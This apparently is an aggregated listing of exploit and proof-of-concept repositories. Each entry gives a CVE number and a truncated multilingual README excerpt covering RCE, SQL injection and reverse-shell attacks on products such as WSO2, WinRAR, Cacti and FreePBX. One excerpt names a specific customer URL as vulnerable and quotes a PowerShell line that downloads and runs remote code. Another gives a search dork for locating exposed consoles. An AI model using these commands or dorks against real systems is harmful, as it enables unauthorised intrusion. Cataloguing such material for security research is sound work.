git-vuln-finder

git-vuln-finder Finding potential software vulnerabilities from git commit messages. The output format is a JSON with the associated commit which could contain a fix regarding a software vulnerability. The search is based on a set of regular expressions against the commit messages only. If CVE ID...

CVE-2022-29464-mass

Serveur WSO2 Carbon CVE-2022-29464 Bogue RCE sans authentification CVE-2022-29464. Écrit par Chocapikk légèrement modifié par trhacknon Utilisation python exploit.py -u ou : python exploit.py -f Zoomeye Dork CLI : zoomeye search 'title:"WSO2 Management Console"' -num 10 -filter=ip,port WEB :...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - lien vulnérable $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes ...

CVE-2024-4577-RCE

Внедрение аргументов PHP CGI CVE-2024-4577 RCE 📜 Описание В PHP версиях 8.1. до 8.1.29, 8.2. до 8.2.20, 8.3. до 8.3.8 при использовании Apache и PHP-CGI на Windows, если в системе настроены определённые кодовые страницы, Windows может применять поведение "Best-Fit" для замены символов в командной...

Notepad-8.9.6-PoC

PoC-скрипты для Notepad++ CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800 PoC-скрипты для трёх уязвимостей в Notepad++ = 8.9.6, исправленных в v8.9.6.1 2026-05-26. Уязвимости CVE| Тип| CVSS| Воздействие ---|---|---|--- CVE-2026-48770| OOB-чтение через WMCOPYDATA| 5.0| DoS / Падение CVE-2026-4877...

CVE-2022-46169

Cacti | Обход аутентификации | RCE | CVE-2022-46169 Cacti: эксплойт удаленного выполнения кода без аутентификации на Ruby Cacti Docker Это docker-приложение, уязвимое к RCE-уязвимости Cacti CVE-2022-46169. Перейдите по ссылке, чтобы запустить Cacti...

CVE-2023-38831_ReverseShell_Winrar-RCE

ПОЛУЧЕНИЕ REVERSE SHELL ПУТЁМ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ CVE-2023-38831 В WINRAR В этом репозитории мы будем эксплуатировать уязвимость CVE-2023-38831 в WinRAR, чтобы получить reverse shell с машины-жертвы Windows на атакующую машину Kali Linux. ПРЕДВАРИТЕЛЬНЫЕ ШАГИ Скачиваем содержимое этого...

CVE-2022-39197

CVE-2022-39197 RCE POC Liens de référence https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — Il y a une excellente analyse approfondie de cette vulnérabilité https://www.agarri.fr/blog/archives/2012/05/11/svgfilesandjavacodeexecution/index.html...

CVE-2025-57819-poc

CVE-2025-57819 — FreePBX: неаутентифицированная SQLi → RCE Одношаговый эксплойт для неаутентифицированной SQL-инъекции в Endpoint Manager FreePBX CVE-2025-57819, объединённой в удалённое выполнение кода через таблицу cronjobs FreePBX. Только для авторизованного тестирования безопасности /...

cve-2022-42889-text4shell-docker

Установите Maven - maven-linux 1. Установка Maven для создания fat jar mvn clean install 2. Сборка Docker docker build --tag=text4shell . 3. Запуск Docker docker run -p 80:8080 text4shell 4. Проверьте работу приложения http://localhost/text4shell/attack?search= 5. Атака может быть выполнена путём...

Centreon-RCE

Centreon-RCE Эксплойт удалённого выполнения кода Centreon v.19.04 CVE-2019-13024 Ревизия https://github.com/mhaskar/CVE-2019-13024 КАК ИСПОЛЬЗОВАТЬ: 1. При необходимости измените аргументы по умолчанию для удобства или не изменяйте – внизу скрипта 2. Если требуется, отредактируйте функцию...

internet-of-vulnerable-things

Интернет уязвимых вещей Результаты моей небольшой курсовой работы по теме Интернет уязвимых вещей. Аннотация В данной работе представлена практическая демонстрация того, насколько небезопасен интернет вещей, на примере взлома типичного IoT-устройства. В маршрутизаторе TP-Link TL-WR902AC был выявл...

CVE-2019-17633

CVE-2019-17633 CSRF-уязвимость Eclipse Che, приводящая к RCE Эта ошибка позволяет удалённому веб-сайту создавать и запускать произвольный docker-контейнер на машинах с версиями Che до 7.3.0 и 7.4.1, когда пользователь посещает веб-страницу. Уязвимость Это CSRF-ошибка, которая позволяет удалённому...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 CVE для этой проблемы - CVE-2022-26318...

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ Удалённое выполнение кода CVE-2023-33246 Exploit Использование: java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "open -a calculator" Отказ от ответственности: Инструмент обнаружения предназначен только для использования специалистами по безопасности при проведении...

CVE-2022-22965

CVE-2022-22965 Spring Framework/CVE-2022-22965 Идентификатор уязвимости: CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691 Воспроизведение уязвимости docker pull vulfocus/spring-core-rce-2022-03-29 docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29 Обнаружение уязвимости POC Рекомендуетс...

log4j-rce-test

Compilation ./build.sh Démarrer le serveur RCE log4j ./start-log4j-rce-server.sh Test Exécutez java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Vérifiez si vous obtenez des logs dans hack.log depuis le dossier actuel Vous pouvez modifier cette ligne String cmds = "sh", "-c", "echo 'Exploit at '" +...

CVE-2024-1651-PoC

CVE-2024-1651 Эта CVE была обнаружена Карлосом Белло из команды Fluid Attack Offensive. В отчёте обсуждается небезопасная десериализация объектов для получения RCE удалённого выполнения кода. Здесь я создал более быстрый и простой в использовании PoC доказательство концепции. Поэтому, если кто-то...

CVE

Таблица CVE Номер CVE| Тип| Компания/Продукт| Описание| Ссылка на статью| Ссылка на репозиторий ---|---|---|---|---|--- CVE-2026-9680| SQL-инъекция| Alibaba RDS MCP Servers| Уточняется| Уточняется| Уточняется CVE-2026-50335| Локальное повышение привилегий| Windows July 2026| Уточняется| Уточняетс...

cve-2024-21534

POC - CVE-2024-21534 Jsonpath-plus уязвим к удаленному выполнению кода RCE из-за неправильной санитизации входных данных Обзор CVE-2024-21534 — это критическая уязвимость, обнаруженная в версиях пакета jsonpath-plus до версии 10.0.0. Уязвимость возникает из-за неправильной санитизации входных...